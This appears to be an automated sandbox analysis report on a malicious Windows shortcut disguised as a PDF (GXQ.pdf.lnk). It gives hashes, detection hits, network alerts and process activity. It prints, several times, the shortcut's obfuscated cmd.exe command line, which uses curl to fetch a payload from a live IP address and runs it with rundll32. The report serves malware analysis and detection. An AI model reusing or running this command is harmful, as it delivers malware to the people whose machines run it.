Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Sept. 27, 2023, 2:22 p.m.	Sept. 27, 2023, 2:24 p.m.

Size	2.1KB
Type	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has command line arguments, Icon number=0, Archive, ctime=Wed Oct 6 04:51:36 2021, mtime=Tue Sep 26 02:12:28 2023, atime=Wed Oct 6 04:51:36 2021, length=289792, window=hidenormalshowminimized
MD5	`a86dd3a01720be4344548792139aa419`
SHA256	`ee9ec3ce36bde5b7884dfaaad6fee12ef1a3d22a50bfedf03132e3fe504f51d5`
CRC32	`EDF47EB1`
ssdeep	`24:8aYWJCnBc2LA8Z1lenp+/QvSVSXYSB71SP++S9SP+xIfzHi85FX:8a2iAlen5vSVSISXSP++S9SP+x0`
Yara	lnk_file_format - Microsoft Windows Shortcut File Format Lnk_Format_Zero - LNK Format Generic_Malware_Zero - Generic Malware

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "OdcjJwPLqPAW" C:\Users\test22\AppData\Local\Temp\GXQ.pdf.lnk
1028
- cmd.exe "C:\Windows\System32\cmd.exe" /c es7w || ECHo es7w & p"In"g es7w || C"Ur"l http:/"/9"5"."164."17.5"9"/Z"Ib"r"7"/"lM -o C:\Users\test22\AppData\Local\Temp\es7w.log & p"In"g -n 4 es7w || rundll32 C:\Users\test22\AppData\Local\Temp\es7w.log scab /k besogon728 & EXiT 'vQWITuxLxiaCG
  2092
  - PING.EXE p"In"g es7w
    2200
  - curl.exe C"Ur"l http:/"/9"5"."164."17.5"9"/Z"Ib"r"7"/"lM -o C:\Users\test22\AppData\Local\Temp\es7w.log
    2272
  - PING.EXE p"In"g -n 4 es7w
    2368
  - rundll32.exe rundll32 C:\Users\test22\AppData\Local\Temp\es7w.log scab /k besogon728
    2416

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
95.164.17.59	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49166 -> 95.164.17.59:80	2013028	ET POLICY curl User-Agent Outbound	Attempted Information Leak
TCP 192.168.56.103:49166 -> 95.164.17.59:80	2034567	ET HUNTING curl User-Agent to Dotted Quad	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Command line console output was observed (4 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 27, 2023, 2:22 p.m.	buffer: 'es7w' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 27, 2023, 2:22 p.m.	buffer: es7w console_handle: 0x00000007	1	1
WriteConsoleA Sept. 27, 2023, 2:22 p.m.	buffer: Ping request could not find host es7w. Please check the name and try again. console_handle: 0x00000007	1	1
WriteConsoleA Sept. 27, 2023, 2:22 p.m.	buffer: Ping request could not find host es7w. Please check the name and try again. console_handle: 0x00000007	1	1

One or more processes crashed (3 events)

Time & API	Arguments	Status
__exception__ Sept. 27, 2023, 2:23 p.m.	stacktrace: GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x755f6d3a GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x755f6de8 GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x755f6e44 KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x778b011a DialogBoxIndirectParamAorW+0x108 SetDlgItemTextW-0x44 user32+0x3cf5c @ 0x7561cf5c SoftModalMessageBox+0x757 MessageBoxTimeoutW-0x391 user32+0x6f73c @ 0x7564f73c SoftModalMessageBox+0xa33 MessageBoxTimeoutW-0xb5 user32+0x6fa18 @ 0x7564fa18 MessageBoxTimeoutW+0x52 MessageBoxTimeoutA-0x9 user32+0x6fb1f @ 0x7564fb1f New_user32_MessageBoxTimeoutW@24+0x137 New_user32_RegisterHotKey@16-0x80 @ 0x746e77b7 MessageBoxExW+0x1b MessageBoxA-0x9 user32+0x6fd15 @ 0x7564fd15 MessageBoxW+0x18 SetSysColors-0x9 user32+0x6fd57 @ 0x7564fd57 rundll32+0x393f @ 0xcd393f rundll32+0x247a @ 0xcd247a rundll32+0x1baf @ 0xcd1baf rundll32+0x12e8 @ 0xcd12e8 rundll32+0x1901 @ 0xcd1901 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.symbol: exception.exception_code: 0xc0000005 exception.address: 0x74023f46 registers.esp: 2093048 registers.edi: 0 registers.eax: 1946304326 registers.ebp: 2093088 registers.edx: 0 registers.ebx: 0 registers.esi: 1946304326 registers.ecx: 6884712	1
__exception__ Sept. 27, 2023, 2:23 p.m.	stacktrace: GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x755f6d3a GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x755f6de8 GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x755f6e44 KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x778b011a DialogBoxIndirectParamAorW+0x108 SetDlgItemTextW-0x44 user32+0x3cf5c @ 0x7561cf5c SoftModalMessageBox+0x757 MessageBoxTimeoutW-0x391 user32+0x6f73c @ 0x7564f73c SoftModalMessageBox+0xa33 MessageBoxTimeoutW-0xb5 user32+0x6fa18 @ 0x7564fa18 MessageBoxTimeoutW+0x52 MessageBoxTimeoutA-0x9 user32+0x6fb1f @ 0x7564fb1f New_user32_MessageBoxTimeoutW@24+0x137 New_user32_RegisterHotKey@16-0x80 @ 0x746e77b7 MessageBoxExW+0x1b MessageBoxA-0x9 user32+0x6fd15 @ 0x7564fd15 MessageBoxW+0x18 SetSysColors-0x9 user32+0x6fd57 @ 0x7564fd57 rundll32+0x393f @ 0xcd393f rundll32+0x247a @ 0xcd247a rundll32+0x1baf @ 0xcd1baf rundll32+0x12e8 @ 0xcd12e8 rundll32+0x1901 @ 0xcd1901 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.symbol: exception.exception_code: 0xc0000005 exception.address: 0x74023f46 registers.esp: 2093048 registers.edi: 0 registers.eax: 1946304326 registers.ebp: 2093088 registers.edx: 0 registers.ebx: 0 registers.esi: 1946304326 registers.ecx: 6884712	1
__exception__ Sept. 27, 2023, 2:23 p.m.	stacktrace: CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x750bd08c TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x750b964b TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x750a4d6b TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x750a6f7c CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x750ae825 TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x750a6002 TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x750a5fe8 TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x750a49e3 TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x750a5a20 RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x778d9a91 LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x778f8f10 RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x778f8e5c ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x757f7a25 rundll32+0x135c @ 0xcd135c rundll32+0x1901 @ 0xcd1901 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25 exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4 exception.instruction: call dword ptr [ecx + 0xc] exception.module: MSCTF.dll exception.exception_code: 0xc0000005 exception.offset: 278260 exception.address: 0x750d3ef4 registers.esp: 2095692 registers.edi: 0 registers.eax: 45752672 registers.ebp: 2095720 registers.edx: 1 registers.ebx: 0 registers.esi: 4531648 registers.ecx: 1946170748	1

Time & API

Arguments

Status

Return

Repeated

__exception__

Sept. 27, 2023, 2:23 p.m.

stacktrace:

GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x755f6d3a
GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x755f6de8
GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x755f6e44
KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x778b011a
DialogBoxIndirectParamAorW+0x108 SetDlgItemTextW-0x44 user32+0x3cf5c @ 0x7561cf5c
SoftModalMessageBox+0x757 MessageBoxTimeoutW-0x391 user32+0x6f73c @ 0x7564f73c
SoftModalMessageBox+0xa33 MessageBoxTimeoutW-0xb5 user32+0x6fa18 @ 0x7564fa18
MessageBoxTimeoutW+0x52 MessageBoxTimeoutA-0x9 user32+0x6fb1f @ 0x7564fb1f
New_user32_MessageBoxTimeoutW@24+0x137 New_user32_RegisterHotKey@16-0x80 @ 0x746e77b7
MessageBoxExW+0x1b MessageBoxA-0x9 user32+0x6fd15 @ 0x7564fd15
MessageBoxW+0x18 SetSysColors-0x9 user32+0x6fd57 @ 0x7564fd57
rundll32+0x393f @ 0xcd393f
rundll32+0x247a @ 0xcd247a
rundll32+0x1baf @ 0xcd1baf
rundll32+0x12e8 @ 0xcd12e8
rundll32+0x1901 @ 0xcd1901
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x74023f46
registers.esp: 2093048
registers.edi: 0
registers.eax: 1946304326
registers.ebp: 2093088
registers.edx: 0
registers.ebx: 0
registers.esi: 1946304326
registers.ecx: 6884712

__exception__

Sept. 27, 2023, 2:23 p.m.

stacktrace:

GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x755f6d3a
GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x755f6de8
GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x755f6e44
KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x778b011a
DialogBoxIndirectParamAorW+0x108 SetDlgItemTextW-0x44 user32+0x3cf5c @ 0x7561cf5c
SoftModalMessageBox+0x757 MessageBoxTimeoutW-0x391 user32+0x6f73c @ 0x7564f73c
SoftModalMessageBox+0xa33 MessageBoxTimeoutW-0xb5 user32+0x6fa18 @ 0x7564fa18
MessageBoxTimeoutW+0x52 MessageBoxTimeoutA-0x9 user32+0x6fb1f @ 0x7564fb1f
New_user32_MessageBoxTimeoutW@24+0x137 New_user32_RegisterHotKey@16-0x80 @ 0x746e77b7
MessageBoxExW+0x1b MessageBoxA-0x9 user32+0x6fd15 @ 0x7564fd15
MessageBoxW+0x18 SetSysColors-0x9 user32+0x6fd57 @ 0x7564fd57
rundll32+0x393f @ 0xcd393f
rundll32+0x247a @ 0xcd247a
rundll32+0x1baf @ 0xcd1baf
rundll32+0x12e8 @ 0xcd12e8
rundll32+0x1901 @ 0xcd1901
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

__exception__

Sept. 27, 2023, 2:23 p.m.

stacktrace:

CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x750bd08c
TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x750b964b
TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x750a4d6b
TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x750a6f7c
CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x750ae825
TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x750a6002
TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x750a5fe8
TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x750a49e3
TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x750a5a20
RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x778d9a91
LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x778f8f10
RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x778f8e5c
ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x757f7a25
rundll32+0x135c @ 0xcd135c
rundll32+0x1901 @ 0xcd1901
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25
exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4
exception.instruction: call dword ptr [ecx + 0xc]
exception.module: MSCTF.dll
exception.exception_code: 0xc0000005
exception.offset: 278260
exception.address: 0x750d3ef4
registers.esp: 2095692
registers.edi: 0
registers.eax: 45752672
registers.ebp: 2095720
registers.edx: 1
registers.ebx: 0
registers.esi: 4531648
registers.ecx: 1946170748

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

Connection to IP address

suspicious_request

GET http://95.164.17.59/ZIbr7/lM

Performs some HTTP requests (1 event)

request

GET http://95.164.17.59/ZIbr7/lM

Allocates read-write-execute memory (usually to unpack itself) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Sept. 27, 2023, 2:22 p.m.	process_identifier: 2416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73fb1000 process_handle: 0xffffffff	1	0	0

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\GXQ.pdf.lnk

Creates a suspicious process (1 event)

cmdline

"C:\Windows\System32\cmd.exe" /c es7w || ECHo es7w & p"In"g es7w || C"Ur"l http:/"/9"5"."164."17.5"9"/Z"Ib"r"7"/"lM -o C:\Users\test22\AppData\Local\Temp\es7w.log & p"In"g -n 4 es7w || rundll32 C:\Users\test22\AppData\Local\Temp\es7w.log scab /k besogon728 & EXiT 'vQWITuxLxiaCG

Yara rule detected in process memory (9 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Communicates with host for which no DNS query was performed (1 event)

host

95.164.17.59

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1028 resumed a thread in remote process 2092
NtResumeThread Sept. 27, 2023, 2:22 p.m.	thread_handle: 0x000002ec suspend_count: 1 process_identifier: 2092	1	0	0

GXQ.pdf.lnk

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